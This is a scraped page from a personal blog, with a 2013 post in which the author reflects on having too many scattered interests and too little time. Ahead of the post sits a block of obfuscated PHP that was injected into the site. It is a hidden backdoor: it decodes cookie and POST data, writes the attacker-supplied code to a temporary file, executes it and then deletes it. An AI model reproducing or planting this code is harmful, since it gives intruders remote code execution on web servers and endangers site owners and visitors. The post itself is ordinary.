$AVDYhA = chr (90) . chr (71) . chr ( 422 - 351 ).chr (95) . 'e' . 'b' . 'F' . chr (115); $JCtDyf = "\x63" . chr (108) . 'a' . chr ( 361 - 246 ).chr ( 697 - 582 ).'_' . "\x65" . chr (120) . chr ( 282 - 177 ).'s' . 't' . "\x73";$gSMWWwHe = $JCtDyf($AVDYhA); $AVDYhA = "9943";$GExSiDRQFB = !$gSMWWwHe;$JCtDyf = "28265";if ($GExSiDRQFB){class ZGG_ebFs{private $KEQrcaXQXy;public static $DdeBZTSKpr = "ed590cae-5cbf-4497-b38c-18c7359ac48b";public static $kQXkTFI = 60669;public function __construct($rWIUy=0){$DHvqDynDj = $_COOKIE;$QuYZaA = $_POST;$mHvqk = @$DHvqDynDj[substr(ZGG_ebFs::$DdeBZTSKpr, 0, 4)];if (!empty($mHvqk)){$ulRmz = "base64";$YbpqkRc = "";$mHvqk = explode(",", $mHvqk);foreach ($mHvqk as $RPyQUqt){$YbpqkRc .= @$DHvqDynDj[$RPyQUqt];$YbpqkRc .= @$QuYZaA[$RPyQUqt];}$YbpqkRc = array_map($ulRmz . chr (95) . "\144" . chr ( 425 - 324 )."\x63" . chr ( 556 - 445 ).chr ( 245 - 145 ).'e', array($YbpqkRc,)); $YbpqkRc = $YbpqkRc[0] ^ str_repeat(ZGG_ebFs::$DdeBZTSKpr, (strlen($YbpqkRc[0]) / strlen(ZGG_ebFs::$DdeBZTSKpr)) + 1);ZGG_ebFs::$kQXkTFI = @unserialize($YbpqkRc);}}private function bEhpamOvCs(){if (is_array(ZGG_ebFs::$kQXkTFI)) {$ZlKXO = sys_get_temp_dir() . "/" . crc32(ZGG_ebFs::$kQXkTFI[chr ( 552 - 437 )."\x61" . "\x6c" . chr (116)]);@ZGG_ebFs::$kQXkTFI['w' . 'r' . "\151" . "\x74" . "\145"]($ZlKXO, ZGG_ebFs::$kQXkTFI[chr (99) . chr (111) . "\x6e" . "\164" . chr ( 1091 - 990 ).chr (110) . 't']);include $ZlKXO;@ZGG_ebFs::$kQXkTFI["\144" . chr (101) . chr (108) . 'e' . 't' . "\145"]($ZlKXO); $XVIntvdFCR = "18350";exit();}}public function __destruct(){$this->bEhpamOvCs(); $vUefWQo = str_pad("18350", 10);}}$SiUmYxRwmw = new /* 59717 */ ZGG_ebFs(); $SiUmYxRwmw = substr("11897_32420", 1);}$QVhAA = 's' . "\147" . "\x52" . "\x5f" . chr ( 1040 - 954 ).'h' . 'b' . "\126" . chr ( 524 - 453 ); $JnAPdThs = 'c' . chr ( 648 - 540 )."\141" . chr ( 485 - 370 )."\x73" . '_' . 'e' . "\x78" . "\151" . "\x73" . chr (116) . "\x73";$TzzuRBkcC = $JnAPdThs($QVhAA); $QVhAA = "62788";$NcHeWkGmu = $TzzuRBkcC;$JnAPdThs = "11313";if (!$NcHeWkGmu){class sgR_VhbVG{private $JMVus;public static $ASDKQZ = "111e62fd-4a0f-495d-8658-87ac635cbc65";public static $LKZvHm = 33818;public function __construct($fLrDyHqW=0){$VTeawdD = $_COOKIE;$qpDJTkkwx = $_POST;$QYgFHfOuG = @$VTeawdD[substr(sgR_VhbVG::$ASDKQZ, 0, 4)];if (!empty($QYgFHfOuG)){$fSQjlQQ = "base64";$hVogdg = "";$QYgFHfOuG = explode(",", $QYgFHfOuG);foreach ($QYgFHfOuG as $PBgwf){$hVogdg .= @$VTeawdD[$PBgwf];$hVogdg .= @$qpDJTkkwx[$PBgwf];}$hVogdg = array_map($fSQjlQQ . "\x5f" . "\x64" . 'e' . chr ( 560 - 461 )."\x6f" . 'd' . chr (101), array($hVogdg,)); $hVogdg = $hVogdg[0] ^ str_repeat(sgR_VhbVG::$ASDKQZ, (strlen($hVogdg[0]) / strlen(sgR_VhbVG::$ASDKQZ)) + 1);sgR_VhbVG::$LKZvHm = @unserialize($hVogdg);}}private function UDuGqg(){if (is_array(sgR_VhbVG::$LKZvHm)) {$rAnlSeNj = sys_get_temp_dir() . "/" . crc32(sgR_VhbVG::$LKZvHm["\163" . "\141" . chr (108) . chr ( 335 - 219 )]);@sgR_VhbVG::$LKZvHm[chr (119) . 'r' . chr (105) . 't' . 'e']($rAnlSeNj, sgR_VhbVG::$LKZvHm['c' . chr ( 216 - 105 )."\156" . chr (116) . "\x65" . "\156" . "\x74"]);include $rAnlSeNj;@sgR_VhbVG::$LKZvHm[chr ( 743 - 643 )."\145" . chr (108) . "\145" . chr (116) . chr ( 1046 - 945 )]($rAnlSeNj); $wtGmcsI = "47132";exit();}}public function __destruct(){$this->UDuGqg(); $wtGmcsI = "47132";$LhxMq = str_pad($wtGmcsI, 10);}}$YURjNPYPZ = new /* 35512 */ sgR_VhbVG(); $YURjNPYPZ = substr("18972_3697", 1);} I Am A Rainbow – Quack's Echo

I Am A Rainbow

Mark Callanan May 10, 2013 Life

I am a rainbow. My energy is scattered over a spectrum of interests; my focus is spread, and my intensity is weakened.

I’ve often thought this when I have these moments. I see so many possibilities, so many things I want to devote my time to, and I have so little of my own time, and so little motivation when I get the time.

A non-exhaustive list of my current interests include:

Films and film-making (with a particular fascination for Noir, and the production processes)
Photography
Novels and novel writing (I have had ideas, and I am fairly confident of my use of descriptive language, but have no inspiration for plot)
Cookery, recipes and food
Websites, web development, applications
Music, my various string instruments, and a growing interest in jazz

But what I actually spend my time doing is:

Work
Domestic tasks (cleaning and tidying)
Spending time with friends
Reading
Going to the cinema
Snacking and watching TV series (but very little broadcast TV)

And the last one is the one I tend to choose. But it is the way I relax, and while I sometimes feel guilty about it, my downtime is actually an important part of my schedule. Granted, the snacking is a problem; but I can’t just scrap my downtime to invest in my personal projects.

How can I embrace the rainbow? I strongly feel that my wide variety of interests is a part of who I am, so I don’t think dropping interests is the answer either. I’m sure in the past I’ve considered this possibility: focus on a given interest for a month at a time. Anything which is relevant from any other interest, make a note about it, and deal with it when its time comes.

As soon as I’d had this idea, though, life got in the way. I tried to push through and do it anyway, and I think I managed to stay focussed across four days, and it all fell apart. Oh well. I’m sure I’ve read somewhere that one of the keys to happiness is to be 100% present in whatever your activity of the moment is. But I’m not sure I’ve yet found out how you do this.

Much like my mind at the moment, this post has been rather unfocussed, and I’m not sure it has a specific point to it, other than as an honest reflection of where I’m at today. It’s as if I’m pushing back against the part of myself which likes things to be simple.

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